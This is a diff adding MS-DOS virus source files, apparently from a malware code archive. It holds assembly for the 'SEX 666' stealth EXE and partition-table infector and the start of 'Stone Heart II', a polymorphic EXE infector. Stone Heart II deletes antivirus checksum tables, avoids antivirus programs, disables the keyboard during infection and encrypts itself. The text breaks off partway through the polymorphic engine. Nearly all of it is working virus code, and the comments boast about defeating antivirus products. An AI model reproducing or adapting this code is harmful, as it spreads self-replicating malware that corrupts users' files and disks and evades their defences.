es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h ; adjust file-time +FileOk: pop es ; restore registers + pop bx + pop ax + popf +Ret1: retf 2 ; return + +Version:push cx ; installation check + push si ; ds = cs + push di + push es + push cs + pop es + mov si,offset Version ; compare an part of the + mov di,si ; code segment with the code + mov cx,VersionSize ; segment of the virus + cld + repe cmpsb + pop es + pop di + pop si + pop cx + jne Old21 ; not equal, do orginal int 21h + mov ax,0DEADh ; return DEAD signature + mov bx,offset Continue ; es:dx = continue + push cs + pop es + retf 2 ; return + +VersionSize equ $-Version + +Seek: or bx,bx ; bx=0 ? + jz Old21 ; yes, do orginal interrupt + cmp bx,cs:Handle1 ; bx=handle1 ? + je Stealth ; yes, use stealth + cmp bx,cs:Handle2 ; bx=handle2 ? + jne Old21 ; no, do orginal interrupt +Stealth:push cx ; save cx + or al,al ; seek from top of file ? + jnz Ok ; no, don't change cx:dx + add dx,VirusSize ; change cx:dx + adc cx,0 +Ok: call DOS ; Execute orginal int 21h + pop cx ; restore cx + jc Ret1 ; Error ? + sub ax,VirusSize ; adjust dx:ax + sbb dx,0 + jmp short Ret1 ; return + +Close: or bx,bx ; bx=0 ? + je Old21 ; yes, do orginal interrupt + cmp bx,cs:Handle1 ; bx=handle1 + jne Not1 ; no, check handle2 + call Infect ; finish infection + mov cs:Handle1,0 ; handle1=unused +Not1: cmp bx,cs:Handle2 ; bx=handle2 + jne Not2 ; no, do orginal interrupt + call Infect + mov cs:Handle2,0 ; handle2=unused +Not2: jmp short Old21 ; continue with orginal int + +Interrupt21: + cmp cs:Disable,0 + jne Old21 + push bx ; after an int 21h instruction + push cx ; this procedure is started + mov bx,offset Functions + mov cx,FunctionCount +NxtFn: cmp ah,cs:[bx] ; search function + je Found + add bx,3 + loop NxtFn + pop cx ; function not found + pop bx +Old21: inc cs:Cryptor + jmp cs:OldInt21 + +Found: push bp ; function found, start viral + mov bp,sp ; version of function + mov bx,cs:[bx+1] + xchg bx,ss:[bp+4] + pop bp + pop cx + ret + +Create: cmp cs:Handle1,0 ; handle1=0 ? + jne Old21 ; No, can't do anything + call CheckName ; check for .exe extension + jc Old21 ; No, not an exe-file +ExtCr: call DOS ; Execute orginal interrupt + jc Ret2 ; Error ? + pushf ; save registers + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + mov bx,ax ; write virus to file + mov ax,4400h + call DOS + jc InRet + test dx,80h + jnz InRet + push bx + call Link + pop bx + mov si,offset WriteVirus + mov di,offset Header + mov cx,1ah + rep movsb + mov CryptOfs,offset Crypt + call Header + jc InErr ; Error ? + cmp ax,cx + jne InErr + mov Handle1,bx ; store handle + jmp short InRet +InErr: mov ax,4200h ; set read/write pointer to top + xor cx,cx ; of file + xor dx,dx + call DOS + mov ah,40h + xor cx,cx + call DOS +InRet: pop es ; restore registers + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +Ret2: retf 2 ; return + +OpenCreate: + or al,al ; subfunction 0 ? + jne Fail ; no, do orginal interrupt + push dx + and dl,0f0h + cmp dl,020h + pop dx + je Replace + push ax ; save registers + push bx + push cx + push dx + mov ax,3d00h ; open file and close file to + mov dx,si ; check if file exists + call DOS + jc Error + mov bx,ax + mov ah,3eh + call DOS +Error: pop dx ; restore registers + pop cx + pop bx + pop ax + jnc Open ; open file, if file exists +Replace:cmp cs:Handle1,0 ; is handle1 0 ? + jne Fail ; no, do orginal interrupt + push dx ; save dx + mov dx,si + call CheckName ; check for .exe extension + pop dx ; restore dx + jc Fail + jmp ExtCr ; create if exe-file +Fail: jmp Old21 ; do orginal interrupt + +Open: cmp al,1 + je Fail + cmp cs:Handle2,0 ; handle1=0 ? + jne Fail ; No, can't do anything + call DOS ; Execute orginal interrupt + jc Ret3 ; Error ? + pushf ; save registers + push ax + push bx + push cx + push dx + push ds + push cs + pop ds + mov bx,ax ; read header of file +Ext2: mov ax,4400h + call DOS + jc Device + test dx,80h + jnz Device + mov ah,3fh + mov cx,1ch + xor dx,dx + call DOS + jc NoVir ; error ? + cmp ax,cx + jne NoVir + cmp Signature,5a4dh ; signature = 'MZ' ? + jne NoVir ; no, not infected + cmp HeaderSize,0 ; headersize = 0 ? + jne NoVir ; no, not infected + cmp ExeIP,offset Main ; ip = Start ? + jne NoVir ; no, not infected + cmp ExeCS,0 ; cx = 0 ? + jne NoVir ; no, not infected + mov Handle2,bx ; store handle + mov ax,4200h + xor cx,cx + mov dx,VirusSize ; seek to end of virus + jmp OpenOk +NoVir: mov ax,4200h + xor cx,cx + xor dx,dx +OpenOk: call DOS +Device: pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax + popf +Ret3: retf 2 ; return + +Exec: push ax + push cx + push si + push di + mov si,dx + mov di,offset ChkDsk + mov cx,100h +Next7: jcxz NotChk + mov ah,cs:[di] +Next8: lodsb + and al,0dfh + cmp al,ah + loopne Next8 + push cx + push si + push di + mov cx,6 + dec si +Next9: lodsb + and al,0dfh + inc di + cmp cs:[di-1],al + loope Next9 + pop di + pop si + pop cx + jne Next7 + cmp cs:Cryptor,1000h + jae NoMsg + push dx + push ds + push cs + pop ds + mov ah,9 + mov dx,offset TextLine + call DOS + mov ah,9 + mov dx,offset Message + call DOS + pop ds + pop dx +NoMsg: pop di + pop si + pop cx + pop ax + inc cs:Disable + call DOS + dec cs:Disable + jmp Ret3 +NotChk: pop di + pop si + pop cx + pop ax + jmp Old21 + +;------------------------------------------------------------------------------ + +WriteVirus: + call CryptOfs ; encrypt + mov ah,40h ; write virus to file + mov cx,VirusSize + xor dx,dx + pushf + call cs:OldInt21 + call CryptOfs ; decrypt + ret ; return + +WriteHeader: ; write exe-header to file + mov ah,40h + jmp short Hdr + +ReadHeader: ; read exe-header from file + mov ah,3fh +Hdr: mov cx,1ch + xor dx,dx + +DOS: pushf ; call orginal interrupt + call cs:OldInt21 + ret + +CheckName: ; check for .exe + push ax ; save registers + push cx + push si + push di + xor ah,ah ; point found = 0 + mov cx,100h ; max length filename = 100h + mov si,dx ; si = start of filename + cld +NxtChr: lodsb ; get byte + or al,al ; 0 ? + je EndName ; yes, check extension + cmp al,'\' ; \ ? + je Slash ; yes, point found = 0 + cmp al,'.' ; . ? + je Point ; yes, point found = 1 + loop NxtChr ; next character + jmp EndName ; check extension +Slash: xor ah,ah ; point found = 0 + jmp NxtChr ; next character +Point: inc ah ; point found = 1 + mov di,si ; di = start of extension + jmp NxtChr ; next character +EndName:or ah,ah ; point found = 0 + je NotExe ; yes, not an exe-file + mov si,di ; si = start of extension + lodsw ; first 2 characters + and ax,0dfdfh ; uppercase + cmp ax,05845h ; EX ? + jne NotExe ; no, not an exe-file + lodsb ; 3rd character + and al,0dfh ; uppercase + cmp al,045h ; E ? + je ChkRet ; yes, return +NotExe: stc ; set carry flag +ChkRet: pop di ; restore registers + pop si + pop cx + pop ax + ret ; return + +;------------------------------------------------------------------------------ +; +; Linker for encryption procedure +; +;------------------------------------------------------------------------------ + +Part1 db 7,0 + db 1, 09ch + db 1, 050h + db 1, 051h + db 1, 052h + db 1, 056h + db 1, 057h + db 1, 01eh +Part2 db 4,0 + db 2, 00eh,01fh + db 2, 031h,0c0h + dbw 3, 0bah,Crypt-1ch + dbw 3, 0bfh,[1ch] +Part3 db 1,0 + db 3, 0fch,0ebh,00eh +Part4 db 4,0 + db 1, 0ach + db 2, 002h,0e0h + db 2, 0d0h,0cch + db 3, 030h,025h,047h +Part5 db 1,0 + db 2, 0e2h,0f6h +Part6 db 1,0 + db 4, 00bh,0d2h,074h,010h +Part7 db 2,0 + dbw 3, 0beh,Crypt + dbw 3, 0b9h,Lastbyte-Crypt +Part8 db 1,0 + db 10, 03bh,0d1h,073h,002h,08bh + db 0cah,02bh,0d1h,0ebh,0e2h +Part9 db 7,1 + db 1, 09dh + db 1, 058h + db 1, 059h + db 1, 05ah + db 1, 05eh + db 1, 05fh + db 1, 01fh +Part10 db 1,0 + db 1, 0c3h + + +Link: mov ax,Cryptor + mov cx,10 ; number of parts + mov di,offset Crypt ; destenation + mov si,offset Part1 ; source +Next1: push ax ; save registers + push cx + push di + cld + cmp byte ptr ds:[si+1],0 + je Forward + push ax + push cx + push si + xor ax,ax + mov cl,[si] + xor ch,ch + add si,2 +Next4: lodsb + add si,ax + add di,ax + loop Next4 + dec di + std + pop si + pop cx + pop ax +Forward:mov Table[0],0100h ; initialize table + mov Table[2],0302h + mov Table[4],0504h + mov Table[6],0706h + mov bx,offset Table + mov cl,ds:[si] ; get number of instructions + xor ch,ch ; to shuffle +Next2: call Shuffle + loop Next2 + pop di + mov cl,ds:[si] ; get next part + xor ch,ch + add si,2 + cld +Next6: lodsb + xor ah,ah + add si,ax + add di,ax + loop Next6 + pop cx ; restore register + pop ax + loop Next1 ; next + ret ; return + +Shuffle:xor dx,dx ; shuffle instructions + div cx + push ax + push cx + push si + xchg si,dx + mov al,ds:[bx] + xchg al,ds:[bx+si] + xchg si,dx + inc bx + pushf + cld + mov cl,al + xor ax,ax + xor ch,ch + add si,2 + jcxz First +Next5: lodsb + add si,ax + loop Next5 +First: lodsb + xor ah,ah + mov cx,ax + popf + rep movsb + pop si + pop cx + pop ax + ret + +;------------------------------------------------------------------------------ +; +; This procedure is called when starting from an exe-file +; +;------------------------------------------------------------------------------ + +MemErr: mov ah,9 ; display message + mov dx,offset MemoryMsg + int 21h + mov ax,4cffh ; terminate with error-code 255 + int 21h + +Start: mov cs:SavedAX,ax ; save registers + mov cs:SavedDS,ds + push cs ; ds = cs + pop ds + mov ah,30h ; get dos-version (installation + int 21h ; check) + cmp ax,0DEADh ; virus installed ? + jne Install ; no, install + cmp bx,offset Continue + jne Install + mov ax,ds:SavedAX + mov es:SavedAX,ax + mov ax,ds:SavedDS + mov es:SavedDS,ax + push es ; push es and dx for far return + push bx + mov ax,cs ; ax=distenation segment + mov dx,cs ; dx=segment of orginal header + add dx,VirusSize/10h + retf ; start orginal exe-file +Install:mov ah,4ah ; get memory avail + mov bx,-1 + int 21h + sub bx,(10h+VirusSize)/10h ; memory needed by virus + mov ah,4ah ; adjust memory block-size + int 21h + jc MemErr ; error ? yes, terminate + mov ah,48h ; allocate memory for virus + mov bx,VirusSize/10h + int 21h + jc MemErr ; error ? yes, terminate + mov es,ax + mov ax,201h + xor bx,bx + mov cx,1 + mov dx,80h + int 13h + jc BootOk + mov si,offset BootSector + xor di,di + mov cx,BootSize + cld + repe cmpsb + je BootOk + mov di,1beh+8 + mov cx,4 +Next3: cmp word ptr es:[di+2],0 + ja SectOk + cmp word ptr es:[di],1+(VirusSize/200h) + jbe BootOk +SectOk: loop Next3 + push ds + push es + push es + pop ds + push cs + pop es + xor si,si + xor di,di + mov cx,BootSize + cld + rep movsb + mov ax,300h+(VirusSize/200h) + mov cx,2 + int 13h + pop es + pop ds + jc BootOk + mov si,offset BootSector + xor di,di + mov cx,BootSize + cld + rep movsb + mov ax,301h + mov cx,1 + int 13h +BootOk: mov ax,es + dec ax ; get segment of MCB + mov es,ax + mov word ptr es:[1],8 ; change owner + inc ax ; get segment of memory-block + mov es,ax ; es:dx = continue + mov dx,offset Continue + push es ; push es and ds for far return + push dx + xor si,si ; copy virus to memory-block + xor di,di + mov cx,VirusSize/2 + cld + rep movsw + xor ax,ax ; ds = interrupt table + mov ds,ax + mov ax,ds:Int21o ; save interrupt 21h vector + mov es:OldInt21o,ax + mov ax,ds:Int21s + mov es:OldInt21s,ax + mov ds:Int21o,offset Interrupt21 ; store new interrupt vector + mov ds:Int21s,es + mov es:Handle1,0 ; clear handles + mov es:Handle2,0 + push cs + pop ds + mov ax,cs ; ax=distenation segment + mov dx,cs ; dx=segment of orginal header + add dx,VirusSize/10h + retf ; start orginal exe-file + +Continue: + mov ds,dx ; ds=dx + add ExeSS,ax ; adjust orginal SS + add ExeCS,ax ; adjust orginal CS + xor si,si ; copy orginal header to + xor di,di ; code segment + mov cx,0dh + cld + rep movsw + mov si,ReloOffset ; get offset of relocationtable + mov cx,ReloCount ; get number of relocationitems + add dx,HeaderSize ; get start of orginal exe-file + cld + jcxz Zero ; 0 relocation items ? +Next: push ax ; save ax + lodsw ; get offset of relocationitem + mov bx,ax + lodsw ; get segment of relocationitem + add ax,dx + mov es,ax + pop ax + add es:[bx],ax ; adjust relocationitem + loop Next ; next relocationitem +Zero: mov bx,PageCount ; get number of pages in file + cli ; disable interrupts +NxtPage:mov ds,dx ; ds = source segment + mov es,ax ; es = destenation segment + mov cx,100h ; cx = size of 1 page in words + xor si,si ; si = 0 + xor di,di ; di = 0 + rep movsw ; copy block + add ax,20h ; adjust destenation segment + add dx,20h ; adjust source segment + dec bx ; restore cx + jnz NxtPage ; next block + mov ss,cs:ExeSS ; set ss:sp + mov sp,cs:ExeSP + sti ; enable interrupts + mov ax,cs:SavedAX ; restore registers + mov ds,cs:SavedDS + mov es,cs:SavedDS + jmp cs:ExeEntry + +;------------------------------------------------------------------------------ +; +; Activation +; +;------------------------------------------------------------------------------ + +Message equ this byte + db 9,9,9,9,' SEX 666',13,10 + db 9,9,9,9,' Fuck the Demon',13,10 + db 13,10 + db 9,9,9,9,' Greetings Bit Addict',13,10 + +TextLine equ this byte + db 13,10 + db 9,9,9,9,'陳陳陳陳陳陳陳陳陳陳陳',13,10 + db 13,10 + db '$' + +;------------------------------------------------------------------------------ +; +; Encryption +; +;------------------------------------------------------------------------------ + +Crypt: db 58 dup(90h) ; this should be the encryption + +Cryptor dw 0 ; change the encryption by + ; changing this value + +Main: call Crypt ; decrypt + jmp Start ; jump to Start + + +LastByte equ $ ; encryption stops here + +;------------------------------------------------------------------------------ +; +; Variables +; +;------------------------------------------------------------------------------ + +OldInt1C equ this dword ; orginal interrupt 8 +OldInt1Co dw 0 +OldInt1Cs dw 0 +OldInt21 equ this dword ; orginal interrupt 21h +OldInt21o dw 0 +OldInt21s dw 0 + +Disable db 0 + +Count equ this word ; timer count +SavedAX dw 0 +SavedDS dw 0 + +Handle1 dw -1 ; Handle of exe-file created +Handle2 dw -1 ; Handle of exe-file opend + +Table dw 0,0,0,0 ; Used by link + +;------------------------------------------------------------------------------ +; +; Orginal EXE-file +; +;------------------------------------------------------------------------------ + + org VirusSize + + db 'MZ' ; header + dw 0 ; image size = 1024 bytes + dw 4 + dw 0 ; relocation items = 0 + dw 2 ; headersize = 20h + dw 40h ; minimum memory + dw 40h ; maximum memory + dw 0 ; ss + dw 400h ; sp + dw 0 ; chksum + dw 0 ; ip + dw 0 ; cs + dw 1ch ; offset relocation table + dw 0 ; overlay number + dw -1 + dw -1 + +Orginal:mov ah,9 ; display warning + push cs + pop ds + mov dx,offset Warning-VirusSize-20h + int 21h + mov ax,4c00h + int 21h ; terminate + +Warning equ this byte + + db 13,10 + db 'WARNING:',13,10 + db 13,10 + db 'SEX 666 virus is now memory resident and has now infected the',13,10 + db 'partition table !!!!!',13,10 + db 13,10 + db '$' + +cseg ends + +sseg segment stack 'stack' + db 100h dup(?) +sseg ends + +end Start + + + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 diff --git a/MSDOS/Virus.MSDOS.Unknown.sh.asm b/MSDOS/Virus.MSDOS.Unknown.sh.asm new file mode 100644 index 00000000..80e28140 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sh.asm @@ -0,0 +1,1014 @@ + +; 樛 +; 烝 Virus Magazine Box 176, Kiev 210, Ukraine IV 1997 +; 炳 烝烝烝烝烝烝烝烝 烝烝烝烝烝烝烝烝烝 烝烝渤烝 桎烝烝炳 +; 渟 桎 桎 槹 槹 樂 槹 桎 槹 槹 桀 +; 桎 桎 桎 +; 湃 湃 湃 湃 炳 炮 湃 湃樛 +; 樛樛樛樛樛樛樛樛 樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 桀樛樛樂 +; (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd. + +; Stone Heart II +; +; ェ┐キ皚覃 ━珞覃 ※珮 ムガキ か┃, 鉗┤ EXE +; > 4096 . +; 籥礇 痰 牀 (512 甄 →), ゛瑙 +; 腑 ョ矚 Adinf ┼ TbClean. +; ぅ爨 メ讓 牀痰諷, 辟筌皋↓諷 爬ガ 牀皋 蹉爬痰┴ +; ( ´珮Θモ瘴 DrWeb, F-Prot, AVP ..). Tbav ┃ 珮モ瘴, +; 爛お 瓱讚 (え-あ 筰). +; 錺 爬 痰珥 ゛肓 Adinf ≡ュ Гカ ※腑痰ム. +; ━モ 閧 5 . 甎ヨ `モ DOS 瓮瘁┬ Windows +; 95. モ瘴 碎 皋※珮瘠. +; +; (c) Eternal Maverick 1997 + + .model tiny + .code +;------------------------------------------------- +vl equ offset bytes - start +base equ offset endv - start +CrLen equ (vl+200h+1)/2 +;------------------------------------------------- +start: +;------------------------------------------------- +; Very lame Anti-heuristic trick! +; But it works against DrWeb... +;------------------------------------------------- + mov ah,62h + int 21h + mov ax,es + cmp ax,bx + je NoHer +fuck_it: + cld + call mist +mist: + pop si + add si,20h + push cs + pop es + mov cx,500h + rep stosw + jmp short fuck_it +;------------------------------------------------- +NoHer: + push es +no_es: + call next +next: + mov ah,2Ah + mov bx,'EM' ; Are you there ? + int 21h +install: + cmp bx,'ME' ; You ask! + je restore ; Already installed... + + pop si + push si + sub si,offset next - start + push es + mov ax,word ptr ds:[02h] + sub ax,(vl/16) + 1 + mov es,ax + call remove + pop ds + mov si,0Ah + mov di,offset fail - start + 1 + movsw + movsw + mov word ptr ds:[si-4],offset INT22h - start + mov word ptr ds:[si-2],es + mov ds,cx + mov si,084h + mov di,offset old21h - start + 1 + movsw + movsw +;------------------------------------ +; Adinf tables to kill! +;------------------------------------ +; P.S. Adinf - a nasty bitch, +; creating checksum tables +; on every hard disk drive. +;------------------------------------ + call DelTab +mask1 db 'C:\*.*',0 +restore: + pop si + pop dx + push dx + add dx,10h + push dx + + add dx,20h + sub dx,word ptr cs:[si+offset bytes - next + 08h] + mov ax,word ptr cs:[si+offset CodeKey-next] + mov ds,dx + mov cx,100h + xor di,di +Decrypt: + xor word ptr ds:[di],ax + inc di + inc di + loop Decrypt + + pop dx + push cs + pop ds + mov cx,word ptr ds:[si+offset bytes-next+06h] + or cx,cx + jz No_Relocation + mov bx,word ptr ds:[si+offset bytes-next+18h] +Next_Relo: + les di,dword ptr ds:[si+bx+offset bytes-next] + mov ax,es + add ax,dx + mov es,ax + add word ptr es:[di],dx + add bx,4 + loop Next_Relo +No_Relocation: + pop es + mov cx,word ptr ds:[si+offset bytes-next] + mov cx,dx + cli + add cx,word ptr ds:[si+offset bytes-next+0Eh] + mov ss,cx + mov sp,word ptr ds:[si+offset bytes-next+10h] + sti + add dx,word ptr ds:[si+offset bytes-next+16h] + push dx + push word ptr ds:[si+offset bytes-next+14h] + push es + pop ds + xor ax,ax + xor bx,bx + xor si,si + xor di,di + retf +DelTab: + pop di + push cs + pop ds + mov ax,3524h + int 21h + push es bx + lea dx,[di+offset int24h - mask1] + mov ah,25h + int 21h + mov ah,2fh + int 21h + push es bx + lea dx,[di+offset NewBytes - mask1] + mov ah,1Ah + int 21h + mov byte ptr ds:[di],'C' + mov dx,di +NextDisk: + push ds dx + mov cx,07 + mov ah,4eh + int 21h + jc NotFound +NextKill: + mov ah,2fh + int 21h + pop di + mov ax,word ptr ds:[di] + push di + push es + pop ds + mov dl,byte ptr ds:[bx+1Eh+06] + cmp dl,al + jne NextFile + mov word ptr ds:[bx+1bh],ax + mov byte ptr ds:[bx+1dh],'\' + lea dx,[bx+1bh] + xor cx,cx + mov ax,4301h + int 21h + mov cl,07 + mov ah,3ch + int 21h +NextFile: + pop dx ds + push ds dx + mov ah,4fh + int 21h + jnc NextKill +NotFound: + pop dx ds + mov di,dx + inc byte ptr ds:[di] + cmp al,12h + je NextDisk + pop dx ds + mov ah,1ah + int 21h + pop dx ds + mov ax,2524h + int 21h + jmp restore +remove: + push cs + pop ds + mov cx,vl/2 + xor di,di + rep movsw + ret +set21h: + cli + mov si,084h + mov word ptr ds:[si],offset int21h - start + mov word ptr ds:[si+2],es + sti + ret +int22h: + mov ah,48h + mov bx,(vl+400h + offset endcode - start)/16 + 1 + int 21h + jc fail + mov es,ax + dec ax + mov ds,ax + xor si,si + mov word ptr ds:[si+1],70h + call remove + mov ds,cx + call set21h +fail: + db 0EAh,0,0,0,0 +int21h: + cmp ah,4bh + je check + cmp ah,3dh + je check + cmp ah,43h + je check +;---------------------- +; Here I am, Boss! +;---------------------- + cmp ah,2Ah + jne old21h + cmp bx,'EM' + jne old21h + xchg bh,bl + iret +;-------------------------------- +old21h: db 0EAh,0,0,0,0 +int24h: + mov al,3 + iret +check: +;--------------------------------------- +; Check if it is a proper file +; for infection +;--------------------------------------- + push bp si di es bx cx ax dx ds + + mov di,dx + mov si,di + push ds + pop es + mov ax,1211h + int 2Fh ; Converts ASCIIZ line into UpCase letters + cld + sub di,4 + mov ax,'XE' + scasw + jne abort + scasb + jne abort ; Not EXE... + + cmp byte ptr es:[di-5],'F' ; Adin'F' - ? + je abort ; Don't touch it. + + sub di,12 ; 12 = Filename + '.' + Extention + +;--------------------- +; Check if file name +; contains digits +;--------------------- + mov si,di + push es + pop ds + mov cx,8 +isDigit: + lodsb + cmp al,'0' + jb noDigit + cmp al,'9' + jbe abort +noDigit: + loop isDigit +;--------------------- +; Check for antivirus +; names +;--------------------- + push cs + pop ds + mov cl,6 +ChkThis: + push cx + mov si,offset antiv - start + mov cl,6 +DoComp: + cmpsw + jne NextStr + cmpsb + je ExitComp + dec si + dec di +NextStr: + inc si + dec di + dec di + loop DoComp + + inc di + pop cx + loop ChkThis +;--------------------- +ExitComp: + or cx,cx + jz Okey ; Good file + + pop cx +abort: + jmp _esc +Okey: +;--------------------------------------- +; Save & set INT 24h +;--------------------------------------- + mov ax,3524h + call INT_21h + + mov word ptr ds:[base],bx + mov word ptr ds:[base+2],es + + mov ax,2524h + mov dx,offset int24h - start + call INT_21h + +;--------------------------------------- +; Turn keyboard off +;--------------------------------------- + in al,21h + or al,00000010b + out 21h,AL +;--------------------------------------- + pop ds dx + push dx ds + mov ax,4300h + call INT_21h + + push cx + + test cl,00000100b ; System file - ? + jnz protect ; Don't touch it!!! + +;---------------------------------------- +; Checking for protected floppy +; using 3F5h port +;---------------------------------------- + push dx + mov cx,400h + mov dx,3F5h + mov al,4 + out dx,al +wait_1: + loop wait_1 + + mov cx,400h + out dx,al +wait_2: + loop wait_2 + + in al,dx + test al,40h ; Protected disk - ? + pop dx + jnz protect +;---------------------------------- + pop cx + push cx + and cl,0FEh ; Set READ-ONLY off + mov ax,4301h + call INT_21h + jnc FileOk +;------------------------------- +; Not able to change attribute +;------------------------------- +protect: + pop cx + jmp esc_1 +FileOk: + push dx ds + mov ax,3D02h + call INT_21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + + mov word ptr cs:[base+06h],ax + mov ax,5700h + call FileX ; DOS Services ah=function 57h + ; get/set file date & time + push dx cx + cmp cl,0Fh ; Is it already infected? + je esc2 + + push cs + pop ds + mov dx,offset Bytes - start + mov cx,400h + call ReadX ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + call SeekE + + cmp ax,1000h ; File too small to be infected - ? + jb esc2 + + mov si,offset Bytes - start + cmp word ptr ds:[si],'MZ' + je ExeOk + cmp word ptr ds:[si],'ZM' + jne esc2 +ExeOk: +;--------------------------------------- +; Is header longer than 512 bytes ? +;--------------------------------------- + cmp word ptr ds:[si+8],20h + ja esc2 +;--------------------------------------- +; Is this EXE segmented ? +;--------------------------------------- + push dx ax + mov di,200h + div di + dec ax + cmp ax,word ptr ds:[si+04h] + pop ax dx + jbe Not_Segmented +esc2: + jmp esc_2 +;---------------------------------------- +Not_Segmented: + mov di,offset NewBytes - start + push ds + pop es + mov cx,0Ch + rep movsw + + mov cx,10h + div cx + + sub ax,word ptr ds:[si+1024-18h+08h] + mov word ptr ds:[si+1024-18h+16h],ax ; ReloCS + mov word ptr ds:[si+1024-18h+14h],dx ; ExeIP + mov word ptr ds:[offset SaveOff - Start],dx +;---------------------------------------- +; Reseting STACK +;---------------------------------------- + add ax,(vl+200h)/16+1 + mov word ptr ds:[si+1024-18h+0Eh],ax ; ReloSS + add dx,400h + and dl,not 1 ; To avoid an odd stack + mov word ptr ds:[si+1024-18h+10h],dx ; ReloSP +;---------------------------------------- +again: + in ax,40h + or ax,ax + jz again + + mov word ptr ds:[offset CodeKey - start],ax + mov di,offset Bytes - start + 200h + push di + mov cx,100h +Encrypt: + xor word ptr ds:[di],ax + inc di + inc di + loop Encrypt + + push si + xor si,si + mov di,cs + add di,(offset buffer - start)/16 + 1 + mov es,di + call emme11 + + pop si + push di + xor dx,dx + mov ax,word ptr ds:[si+1024-18h+02h] + add ax,di + mov di,200h + div di + add word ptr ds:[si+1024-18h+04h],ax ; FileSize in 512-byte blocks + mov word ptr ds:[si+1024-18h+02h],dx ; Rest of bytes + mov word ptr ds:[si+1024-18h+06h],0 ; Set number of relocation + ; table elements to 0 + + pop cx + push es + pop ds + xor dx,dx + call WriteX ; Write virus body + push cs + pop ds + call SeekH + mov dx,offset NewBytes - start + call WriteH ; Write first 18h bytes (header) + xor al,al + mov dx,200h + call SeekY + mov cx,200h + pop dx + call WriteX +Marker: + pop cx + mov cl,0Fh ; Set time to mark infection + push cx +esc_2: + pop cx dx + mov ax,5701h + call FileX ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh + call FileX ; DOS Services ah=function 3Eh + ; close file, bx=file handle + pop ds dx cx + mov ax,4301h + call INT_21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +esc_1: +;----------------------------- +; Restore int 24h +;----------------------------- + lds dx,dword ptr cs:[base] + mov ax,2524h + call INT_21h +;----------------------------- +; Enable IRQ-1 +; User can play with keyboard +; again. +;----------------------------- + in al,21h + and al,not 2 + out 21h,al +;----------------------------- +_ESC: + pop ds dx ax cx bx es di si bp + jmp old21h ; No other actions. + + db 'StoneHeart II' ; Virus name + +ReadX: + mov ah,3Fh + jmp short FileX +WriteH: + mov cx,18h +WriteX: + mov ah,40h + jmp short FileX +SeekH: + xor al,al + jmp short SeekX +SeekE: + mov al,02 +SeekX: + xor dx,dx +SeekY: + xor cx,cx +SeekZ: + mov ah,42h +FileX: + mov bx,word ptr cs:[base+06h] ; File Handle is stored there... +INT_21h: + pushf + call dword ptr cs:[offset old21h - start+1] + ret +CodeKey: + dw 0 ; This word is used to crypt + ; a part of file +;----------------------------------------------------------------- +; These shity programs are too stinky to be even infected +;----------------------------------------------------------------- +ANTIV db 'AID','AVP','PRO','SCA','EXT','WEB' +;----------------------------------------------------------------- +; Polymorphic Engine of Stone Heart II +;----------------------------------------------------------------- +Emme11: + call modulof +modulof: + pop bp + sub bp,3 +;-------------------------------------------------------------------------- +; PARAMETERS: +; ES - points to buffer of proper size. +; DS - points to segment of code to be encrypted. +; SI - offset of code to be crypted. +; CrLen - number of words (NOT BYTES!!!) to be crypted. +; SaveOff - delta offset in file (Length + 100h for appending +; COM infector, for example) +; +; When finished: +; S:0 - crypted code. +; DI - its size in bytes. +;-------------------------------------------------------------------------- +; A structure of encryptor: +; ------------------------- +; +; mov reg1,offcode ; offcode - offset of crypted code +; mov reg2,-CrLen +; mov reg3,code_1 +;Decode: +; oper1 word ptr ds:[reg1],reg3 +; inc reg1 +; inc reg1 +; oper2 reg3,code_2 +; inc reg2 +; jnz Decode +; +; -------------------------------- +; +; reg1 - SI,DI,BX or BP +; reg2,reg3 - AX,BX,CX,DX,BP,SI or DI +; oper1 - XOR,ADD or SUB +; oper2 - ADD or SUB +; +; code_1,code_2 - random numbers +; +; All unused in decryptor registers are used in garbage instructions. +;-------------------------------------------------------------------------- +PolyStart: + in al,40h + or al,al + jz PolyStart + + push si + + xor di,di + + call makeini + + inc byte ptr [bp+offset Reg - Emme11] + + lea si,[bp+offset anti-Emme11] + mov cx,05h +ANTI_HER: + cmp cl,2 + jne noGlue + mov al,75h + stosb + push di + inc di +noGlue: + call make + movsw + loop anti_her + + pop bx + mov ax,di + sub ax,bx + dec ax + dec ax + dec ax + mov byte ptr es:[bx],al + +;--------------------------------------------- +; Creating a decryptor +;--------------------------------------------- + + call makeini + +;--------------------------------------------- +; First instruction +;--------------------------------------------- +instr1: + call ZeroTwo + + mov al,byte ptr ds:[bx+offset Pack_1-Emme11] + stosb + push di ; Needed for decryptor + stosw ; To reserve a place for offset + mov al,byte ptr ds:[bx+3+offset Pack_1-Emme11] + mov byte ptr ds:[si+1],al + mov al,byte ptr ds:[bx+6+offset Pack_1-Emme11] + mov ah,al + mov word ptr ds:[si+2],ax + sub al,40h + mov bl,al + call _fill ; Make a register busy + call make +;----------------------------------------------- +; Second instruction +;----------------------------------------------- +instr2: + call f_reg + in ax,40h + and ax,0Fh + add ax,CrLen + add bl,48h + mov byte ptr ds:[si+7],bl + + stosw + + call make +;------------------------------------------------ +; Third instruction +;------------------------------------------------ +instr3: + call f_reg + + mov byte ptr ds:[si+5],bl + + mov al,8 + mul bl + add byte ptr ds:[si+1],al + in ax,40h + add ax,di + stosw + push di + mov word ptr ds:[bp+offset encryptor - Emme11 - 3],ax + call make +;-------------------------------------------------- +; To choose operations +;-------------------------------------------------- + call ZeroTwo + + mov al,byte ptr 